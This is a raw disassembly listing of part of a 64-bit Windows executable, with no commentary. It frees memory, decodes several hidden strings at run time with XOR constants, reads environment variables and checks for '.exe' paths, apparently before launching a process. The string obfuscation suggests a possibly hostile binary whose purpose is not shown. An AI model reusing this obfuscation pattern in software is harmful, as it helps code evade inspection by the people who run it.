mov r8, qword [rsp + 0x330]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x2f8], 0
je 0x140004af0
mov r8, qword [rsp + 0x300]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x310], 0
je 0x140004b11
mov r8, qword [rsp + 0x318]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x358]
mov rdx, qword [rsp + 0x360]
call fcn.1400ed960
cmp qword [rsp + 0x350], 0
je 0x140004b47
mov r8, qword [rsp + 0x358]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x3c0], 0
je 0x140004bb4
lea rcx, [rsp + 0x3c0]
call fcn.1400f5b70
mov rbx, qword [rsp + 0x3c8]
test rbx, rbx
je 0x140004bb4
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x60], rax
mov r13, qword [rsp + 0x3d8]
test r13, r13
jne 0x140004f9d
mov rax, rbx
shl rax, 5
add rbx, rax
cmp rbx, 0xffffffffffffffcf
je 0x140004bb4
mov r8, qword [rsp + 0x60]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x58], 0
je 0x140004bcd
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
cmp rdi, 1
jbe 0x140004cf0
lea rax, [0x14010e114]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xa02786f44e68f442
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8a30
movabs rcx, 0xfe27532b47476f19
xor rcx, qword [rax]
movabs rdx, 0xde84be4c9c05184a
xor rdx, qword [rax + 8]
movabs r8, 0xab71274760ee47aa
xor r8, qword [rax + 0x10]
movabs r9, 0x9c0e02817ca991eb
xor r9, qword [rax + 0x18]
movabs r10, 0xb2fb2dd7d79f996e
xor r10, qword [rax + 0x20]
mov r11d, 0x3f756897
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x24
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x180], r8
mov qword [rsp + 0x188], r9
mov qword [rsp + 0x190], r10
mov dword [rsp + 0x198], r11d
mov byte [rsp + 0x19c], al
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], 0x2d
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x98], rax
lea rax, [0x14016e918]
mov qword [rsp + 0x2e0], rax
jmp 0x140004506
lea rax, [0x1400fffb3]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x63bb8d7332720ba2
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8790
movabs rcx, 0x776c75620db870f1
xor rcx, qword [rax]
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xc2
shr eax, 8
xor al, 0x79
movzx edx, dl
movzx eax, al
shl eax, 8
or eax, edx
mov qword [rsp + 0x730], rcx
mov word [rsp + 0x738], ax
lea rax, [rsp + 0x730]
mov qword [rsp + 0x760], rax
mov qword [rsp + 0x768], 0xa
lea rcx, [rsp + 0x2e0]
call fcn.1400e2d30
lea rax, [0x1401093a4]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x170]
mov rcx, qword [rsp + 0x170]
movabs rax, 0xf84d670183f2e7f4
mov qword [rsp + 0x170], rax
lea r12, [rsp + 0x170]
mov rdx, qword [rsp + 0x170]
call fcn.1400e8f10
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov ecx, dword [rax + 0x20]
movzx eax, byte [rax + 0x24]
mov rdi, qword [rsp + 0x2e0]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x140002d2d
mov rsi, qword [rsp + 0x2e8]
mov r15, qword [rsp + 0x2f0]
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], 1
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x310], 0x20
mov byte [rsp + 0x318], 3
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x2f0], 0
mov qword [rsp + 0x300], r12
lea rax, [0x14010fbd8]
mov qword [rsp + 0x308], rax
lea rbx, [rsi + r15]
xor eax, eax
lea r13, [0x14016e802]
cmp rax, r15
je 0x140005013
lea rdx, [rsi + rax]
mov r14, rax
mov r8, rdx
jmp 0x140004ec5
add r8, 2
cmp rcx, rbx
cmovne rcx, r8
mov r9d, 2
add r14, r9
mov r8, rcx
cmp rcx, rbx
je 0x140005016
lea rcx, [r8 + 1]
movzx r10d, byte [r8]
mov r9d, 1
test r10b, r10b
jns 0x140004eb6
cmp r10b, 0xe0
jb 0x140004ea5
cmp r10b, 0xed
jne 0x140004f10
cmp rcx, rbx
je 0x140005016
lea rcx, [r8 + 2]
cmp rcx, rbx
je 0x140005016
cmp byte [r8 + 1], 0x9f
ja 0x140004f4a
add r8, 3
mov r9d, 3
mov rcx, r8
jmp 0x140004eb6
add r8, 2
cmp rcx, rbx
cmove r8, rcx
xor ecx, ecx
cmp r8, rbx
setne cl
add rcx, r8
mov r9d, 3
cmp r10b, 0xf0
jb 0x140004eb6
xor r8d, r8d
cmp rcx, rbx
setne r8b
add rcx, r8
mov r9d, 4
jmp 0x140004eb6
mov r8, r14
sub r8, rax
jb 0x140002d2d
cmp r14, r15
ja 0x140002d2d
mov rcx, r12
call fcn.140001a10
test al, al
jne 0x140002d2d
mov r8d, 3
mov rcx, r12
mov rdx, r13
call fcn.140001a10
test al, al
jne 0x140002d2d
add r14, 3
mov rax, r14
cmp r14, r15
jbe 0x140004e90
jmp 0x140002d2d
mov r12, qword [rsp + 0x60]
movdqa xmm0, xmmword [r12]
pmovmskb ebp, xmm0
not ebp
lea r14, [r12 + 0x10]
jmp 0x140004fc8
dec r13
lea eax, [rbp - 1]
and eax, ebp
mov ebp, eax
test r13, r13
je 0x140004b8a
test bp, bp
jne 0x140004feb
movdqa xmm0, xmmword [r14]
pmovmskb ebp, xmm0
add r12, 0xfffffffffffffe00
add r14, 0x10
cmp ebp, 0xffff
je 0x140004fcd
not ebp
tzcnt ecx, ebp
shl ecx, 5
mov rax, r12
sub rax, rcx
cmp qword [rax - 0x20], 0
je 0x140004fb5
mov r8, qword [rax - 0x18]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140004fb5
mov rax, r15
sub r15, rax
lea rdx, [rsi + rax]
test rax, rax
jne 0x140005034
lea rcx, [rsp + 0x2e0]
mov r8, r15
call fcn.140038040
jmp 0x140005044
lea rcx, [rsp + 0x170]
mov r8, r15
call fcn.140001a10
test al, al
jne 0x140002d2d
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x750], rax
movdqu xmm0, xmmword [rsp + 0x170]
movdqa xmmword [rsp + 0x740], xmm0
test rdi, rdi
je 0x140005084
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
lea rax, [0x14010b1a5]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x2d2488a03dc41fe3
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8850
movabs rcx, 0xc1f444bc2868bcc4
xor rcx, qword [rax]
movabs rdx, 0xbc6baa38651fe1ad
xor rdx, qword [rax + 8]
mov r8d, 0xecb51b6e
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov dword [rsp + 0xe0], r8d
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 0x14
lea rax, [0x14010b994]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x29d7f9c5105c8773
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8e00
movabs rcx, 0xd7a75aa99733721
xor rcx, qword [rax]
mov edx, 0x3a2d9ded
xor edx, dword [rax + 8]
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 0x85
xor r9b, 0x5d
movzx eax, al
movzx r9d, r9b
shl r9d, 8
or r9d, eax
xor r8b, 0x9f
mov qword [rsp + 0x280], rcx
mov dword [rsp + 0x288], edx
mov word [rsp + 0x28c], r9w
mov byte [rsp + 0x28e], r8b
lea rax, [rsp + 0x280]
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], 0xf
lea rax, [0x14010d293]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x7d1af87aa73c547d
mov qword [rsp + 0x2e0], rax
lea rsi, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8d70
movabs rcx, 0x821fe17e89bd6422
xor rcx, qword [rax]
mov edx, 0xb833d2a6
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x35
shr eax, 8
xor al, 1
movzx r8d, r8b
movzx eax, al
shl eax, 8
or eax, r8d
mov qword [rsp + 0x298], rcx
mov dword [rsp + 0x2a0], edx
mov word [rsp + 0x2a4], ax
lea rax, [rsp + 0x298]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 0xe
lea rax, [rsp + 0x140]
mov qword [rsp + 0x2e0], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x2e8], rax
lea rcx, [rsp + 0x740]
mov qword [rsp + 0x2f0], rcx
lea rcx, [0x140001d30]
mov qword [rsp + 0x2f8], rcx
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x300], rcx
mov qword [rsp + 0x308], rax
lea rcx, [rsp + 0x760]
mov qword [rsp + 0x310], rcx
mov qword [rsp + 0x318], rax
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x320], rcx
mov qword [rsp + 0x328], rax
lea rax, [0x14010fc10]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 5
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], 5
lea rcx, [rsp + 0x770]
lea rdx, [rsp + 0x170]
call fcn.140036fb0
lea rax, [0x140107d21]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x5a2528e3d8560114
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8e50
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebx, byte [rax + 6]
movzx eax, byte [0x14017a148]
mov edx, 7
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
shl ebx, 0x10
or edi, ebx
mov ecx, edi
shr ecx, 0x10
xor cl, 0x13
mov edx, edi
xor dl, 0x46
shr edi, 8
xor dil, 0x52
movzx edx, dl
movzx r8d, dil
shl r8d, 8
or r8d, edx
xor esi, 0x3bf4b43f
mov dword [rax], esi
mov word [rax + 4], r8w
mov byte [rax + 6], cl
mov qword [rsp + 0x170], 7
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], 7
mov byte [rsp + 0x188], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x198], 8
mov qword [rsp + 0x1a0], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0x1c8], 6
mov dword [rsp + 0x1d8], 6
mov dword [rsp + 0x1e8], 6
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1f8], xmm0
movdqu xmmword [rsp + 0x202], xmm0
movdqu xmmword [rsp + 0x226], xmm0
movdqu xmmword [rsp + 0x218], xmm0
mov dword [rsp + 0x230], 0x8000000
lea rax, [0x140102206]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x485515fff733d357
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e9110
movzx edi, word [rax]
movzx eax, byte [0x14017a148]
mov edx, 2
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov rbx, rax
lea rsi, [rsp + 0x190]
mov eax, edi
xor al, 0x1d
shr edi, 8
xor dil, 0xe6
movzx ecx, dil
shl ecx, 8
movzx eax, al
or eax, ecx
mov word [rbx], ax
mov rdi, qword [rsp + 0x1a0]
cmp rdi, qword [rsp + 0x190]
jne 0x140005567
mov rcx, rsi
mov rdx, rdi
call fcn.1400d3640
mov rdi, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x198]
lea rcx, [rdi + rdi*4]
mov qword [rax + rcx*8], 0
mov qword [rax + rcx*8 + 8], 2
mov qword [rax + rcx*8 + 0x10], rbx
mov qword [rax + rcx*8 + 0x18], 2
mov byte [rax + rcx*8 + 0x20], 0
inc rdi
mov qword [rsp + 0x1a0], rdi
mov rbx, qword [rsp + 0x778]
mov r14, qword [rsp + 0x780]
mov r15d, 1
test r14, r14
je 0x1400055e0
js 0x140002d2d
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, r14
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov r15, rax
mov rcx, r15
mov rdx, rbx
mov r8, r14
call sub.msvcrt.dll_memcpy
cmp rdi, qword [rsp + 0x190]
jne 0x14000560b
mov rcx, rsi
mov rdx, rdi
call fcn.1400d3640
mov rdi, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x198]
lea rcx, [rdi + rdi*4]
mov qword [rax + rcx*8], 0
mov qword [rax + rcx*8 + 8], r14
mov qword [rax + rcx*8 + 0x10], r15
mov qword [rax + rcx*8 + 0x18], r14
mov byte [rax + rcx*8 + 0x20], 0
inc rdi
mov qword [rsp + 0x1a0], rdi
cmp qword [rsp + 0x770], 0
je 0x14000565a
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov dword [rsp + 0x720], 0
movzx eax, byte [rsp + 0x210]
test al, al
sete cl
mov rdx, qword [rsp + 0x208]
mov qword [rsp + 0x80], rdx
test rdx, rdx
sete dl
and dl, cl
mov byte [rsp + 0x278], dl
je 0x1400056da
xor eax, eax
mov qword [rsp + 0x58], rax
mov r12, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x180]
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], rbx
lea rax, [0x14016e1d8]
mov qword [rsp + 0x78], rax
test rbx, rbx
je 0x14000574a
cmp rbx, 4
jae 0x140005714
lea rax, [0x1400e66d0]
jmp 0x14000573e
mov qword [rsp + 0x298], 0
mov qword [rsp + 0x2a8], 0
test al, al
jne 0x140005887
call sub.KERNEL32.dll_GetEnvironmentStringsW
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14000586e
call fcn.1400dd420
ud2
mov eax, dword [r12]
bswap eax
xor ecx, ecx
cmp eax, 0x5c5c3f5c
setb cl
cmp eax, 0x5c5c3f5d
adc ecx, 0xffffffff
lea rcx, [0x1400e66e0]
lea rax, [0x1400e66d0]
cmove rax, rcx
movzx ecx, byte [rbx + r12 - 1]
call rax
test al, al
je 0x14000577b
movq xmm6, qword [rsp + 0x78]
cmp byte [rsp + 0x278], 0
jne 0x1400062e4
cmp qword [rsp + 0x60], 0
jne 0x140006270
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x80], rcx
jmp 0x1400062b7
lea rax, [r12 + rbx]
cmp rbx, 3
jbe 0x1400064bb
movzx ecx, byte [rax - 4]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x2e
jne 0x14000696a
movzx ecx, byte [rax - 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov cl, 1
cmp dl, 0x65
jne 0x1400057f2
movzx edx, byte [rax - 2]
lea r8d, [rdx - 0x41]
cmp r8b, 0x1a
setb r8b
shl r8b, 5
or r8b, dl
cmp r8b, 0x78
jne 0x1400057f2
movzx ecx, byte [rax - 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x65
setne cl
xor edx, edx
cmp rbx, rdx
je 0x140006a72
movzx r8d, byte [r12 + rdx]
cmp r8d, 0x2f
je 0x140005811
inc rdx
cmp r8d, 0x5c
jne 0x1400057f4
test cl, cl
jne 0x140006987
lea rcx, [rsp + 0xd0]
mov rdx, r12
mov r8, rbx
call fcn.1400e2bb0
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xd8]
movabs rdx, 0x8000000000000000
cmp rcx, rdx
jne 0x1400070f2
mov qword [rsp + 0x6e8], rax
movabs rax, 0x8000000000000000
mov qword [rsp + 0x6e0], rax
jmp 0x14000758c
mov rax, qword [rsp + 0x58]
cmp word [rax], 0
jne 0x1400066d4
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_FreeEnvironmentStringsW
mov rax, qword [rsp + 0x1f8]
test rax, rax
je 0x1400061b4
cmp qword [rsp + 0x80], 0
je 0x1400061b4
mov rcx, qword [rsp + 0x200]
mov qword [rsp + 0x58], rcx
xor ebx, ebx
jmp 0x1400058d0
call sub.KERNEL32.dll_HeapFree
mov eax, 0
dec qword [rsp + 0x80]
je 0x1400061b4
test rbx, rbx
jne 0x140005962
cmp qword [rsp + 0x58], 0
je 0x140005906
mov rdx, qword [rsp + 0x58]
and rdx, 7
je 0x14000590b
mov rcx, qword [rsp + 0x58]
and rcx, 0xfffffffffffffff8
mov rbx, rax
mov rbx, qword [rbx + 0x3d8]
dec rdx
jne 0x1400058f8
jmp 0x140005913
mov rbx, rax
jmp 0x140005959
mov rbx, rax
mov rcx, qword [rsp + 0x58]
cmp qword [rsp + 0x58], 8
jb 0x140005959
mov rax, qword [rbx + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rbx, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x14000591b
xor eax, eax
mov qword [rsp + 0x58], rax
xor eax, eax
movzx ecx, word [rbx + 0x3d2]
cmp qword [rsp + 0x58], rcx
jae 0x14000597a
mov rbp, rbx
mov r14, qword [rsp + 0x58]
jmp 0x1400059a2
mov rbp, qword [rbx + 0x160]
test rbp, rbp
je 0x140002d2d
inc rax
movzx r14d, word [rbx + 0x3d0]
mov rbx, rbp
cmp r14w, word [rbp + 0x3d2]
jae 0x14000597a
test rax, rax
je 0x140005a2d
mov rbx, qword [rbp + r14*8 + 0x3e0]
mov rcx, rax
dec rcx
je 0x140005a24
mov rdx, rcx
and rdx, 7
je 0x1400059dc
mov rcx, rdx
mov rbx, qword [rbx + 0x3d8]
dec rcx
jne 0x1400059c7
not rdx
add rdx, rax
mov rcx, rdx
add rax, 0xfffffffffffffffe
cmp rax, 7
jb 0x140005a24
mov rax, qword [rbx + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rbx, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x1400059e6
xor eax, eax
mov qword [rsp + 0x58], rax
jmp 0x140005a39
lea rax, [r14 + 1]
mov qword [rsp + 0x58], rax
mov rbx, rbp
imul rax, r14, 0x38
lea r12, [rax + rbp]
add r12, 0x168
shl r14, 5
movabs rax, 0x8000000000000000
cmp qword [rbp + r14], rax
jne 0x140005b1e
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x78], rax
test rax, rax
je 0x1400058bd
mov rax, qword [rsp + 0x2a0]
mov rdi, qword [r12 + 0x28]
mov r12d, dword [r12 + 0x30]
lea ecx, [rax + 7]
mov dword [rsp + 0x68], ecx
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x60], rax
mov r15, qword [rsp + 0x78]
lea rcx, [r15 + 0x168]
movzx r13d, word [r15 + 0x3d2]
imul rbp, r13, 0x38
mov rsi, 0xffffffffffffffff
test rbp, rbp
je 0x140005af6
lea r14, [rcx + 0x38]
mov r8, qword [rcx + 0x28]
mov r9d, dword [rcx + 0x30]
mov dword [rsp + 0x20], 1
mov rcx, rdi
mov edx, r12d
call sub.KERNEL32.dll_CompareStringOrdinal
add rbp, 0xffffffffffffffc8
inc rsi
mov rcx, r14
cmp eax, 3
je 0x140005abc
cmp eax, 1
jne 0x140005b59
jmp 0x140005af9
mov rsi, r13
cmp qword [rsp + 0x60], 0
je 0x1400058bd
mov r15, qword [r15 + rsi*8 + 0x3d8]
dec qword [rsp + 0x60]
mov eax, dword [rsp + 0x68]
add al, 7
mov dword [rsp + 0x68], eax
jmp 0x140005aa2
mov r15, qword [r12 + 8]
mov rsi, qword [r12 + 0x10]
test rsi, rsi
je 0x140005d57
js 0x140002d2d
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, rsi
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov rdi, rax
jmp 0x140005d5c
cmp eax, 2
jne 0x14000570d
mov byte [rsp + 0x708], 0
cmp qword [rsp + 0x60], 0
je 0x140005ec7
mov rax, qword [r15 + rsi*8 + 0x3d8]
mov rcx, qword [rsp + 0x60]
dec rcx
je 0x140005c56
test cl, 7
je 0x140005bc9
movzx ecx, byte [rsp + 0x68]
and ecx, 7
neg rcx
mov edx, 1
movzx r8d, word [rax + 0x3d2]
mov rax, qword [rax + r8*8 + 0x3d8]
lea r8, [rcx + rdx]
inc r8
inc rdx
cmp r8, 1
jne 0x140005ba1
mov rcx, qword [rsp + 0x60]
sub rcx, rdx
mov rdx, qword [rsp + 0x60]
add rdx, 0xfffffffffffffffe
cmp rdx, 7
jb 0x140005c56
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x140005bd8
movzx ecx, word [rax + 0x3d2]
dec rcx
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 0
mov qword [rsp + 0x290], rcx
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x280]
lea r8, [rsp + 0x708]
call fcn.1400da270
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rsp + 0x2e0]
movups xmm1, xmmword [rsp + 0x2f0]
movdqu xmm2, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, [rsp + 0x318]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x140], xmm0
movdqa xmmword [rsp + 0x150], xmm1
mov r8, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x340]
mov rdx, qword [rsp + 0x348]
movzx eax, word [r8 + 0x3d2]
cmp rdx, rax
jae 0x140005d2b
mov rax, r8
jmp 0x140005f0d
mov rax, qword [r8 + 0x160]
test rax, rax
je 0x140005f05
inc rcx
movzx edx, word [r8 + 0x3d0]
mov r8, rax
cmp dx, word [rax + 0x3d2]
jae 0x140005d2b
jmp 0x140005f0d
mov edi, 1
mov rcx, rdi
mov rdx, r15
mov r8, rsi
call sub.msvcrt.dll_memcpy
movzx eax, byte [r12 + 0x18]
mov byte [rsp + 0x60], al
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x68], rax
mov r15, qword [r12 + 0x30]
test r15, r15
je 0x140005db7
mov rax, r15
shr rax, 0x3e
jne 0x140002d2d
lea r12, [r15 + r15]
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, r12
call fcn.1400dbb10
mov r13, rax
test rax, rax
jne 0x140005dc0
jmp 0x140002d2d
mov r13d, 2
xor r12d, r12d
add rbp, r14
mov rcx, r13
mov rdx, qword [rsp + 0x68]
mov r8, r12
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x300], r15
mov qword [rsp + 0x308], r13
mov qword [rsp + 0x310], r15
mov qword [rsp + 0x2e0], rsi
mov qword [rsp + 0x2e8], rdi
mov qword [rsp + 0x2f0], rsi
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x2f8], al
mov rdi, qword [rbp + 8]
mov rsi, qword [rbp + 0x10]
test rsi, rsi
je 0x140005e41
js 0x140002d2d
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, rsi
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov r15, rax
jmp 0x140005e47
mov r15d, 1
mov rcx, r15
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r15
mov qword [rsp + 0xe0], rsi
movzx eax, byte [rbp + 0x18]
mov byte [rsp + 0xe8], al
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x298]
lea r8, [rsp + 0x2e0]
lea r9, [rsp + 0xd0]
call fcn.1400dd430
mov rax, qword [rsp + 0x90]
shl rax, 1
test rax, rax
je 0x1400058bd
mov r8, qword [rsp + 0x98]
mov rcx, qword [0x14017a0c0]
xor edx, edx
jmp 0x1400058b8
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], rsi
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0xd0]
lea r8, [rsp + 0x708]
call fcn.1400da270
jmp 0x1400060c7
mov rdx, rcx
mov rcx, r8
xor eax, eax
imul r8, rdx, 0x38
mov r9, rdx
shl r9, 5
mov r10, qword [rax + r8 + 0x198]
mov qword [rsp + 0x100], r10
movups xmm0, xmmword [rax + r8 + 0x168]
movups xmm1, xmmword [rax + r8 + 0x178]
movups xmm2, xmmword [rax + r8 + 0x188]
movaps xmmword [rsp + 0xf0], xmm2
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov r10, qword [rsp + 0xc0]
mov qword [rax + r8 + 0x198], r10
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movdqa xmm2, xmmword [rsp + 0xb0]
movdqu xmmword [rax + r8 + 0x188], xmm2
movups xmmword [rax + r8 + 0x178], xmm1
movups xmmword [rax + r8 + 0x168], xmm0
movups xmm0, xmmword [rax + r9]
movups xmm1, xmmword [rax + r9 + 0x10]
lea r8, [rsp + 0x108]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
movdqa xmm0, xmmword [rsp + 0x140]
movdqa xmm1, xmmword [rsp + 0x150]
movdqu xmmword [rax + r9], xmm0
movdqu xmmword [rax + r9 + 0x10], xmm1
test rcx, rcx
je 0x140006059
mov rax, qword [rax + rdx*8 + 0x3e0]
mov rdx, rcx
dec rdx
je 0x140006059
mov r8, rdx
and r8, 7
je 0x140006011
mov rdx, r8
mov rax, qword [rax + 0x3d8]
dec rdx
jne 0x140005ffc
not r8
add r8, rcx
mov rdx, r8
add rcx, 0xfffffffffffffffe
cmp rcx, 7
jb 0x140006059
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
add rdx, 0xfffffffffffffff8
jne 0x14000601b
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x330], rcx
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x320], xmm0
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmm1, xmmword [rsp + 0xe0]
movdqa xmm2, xmmword [rsp + 0xf0]
movaps xmm3, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x310], xmm3
movdqa xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x338], rax
mov r13, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x2e8]
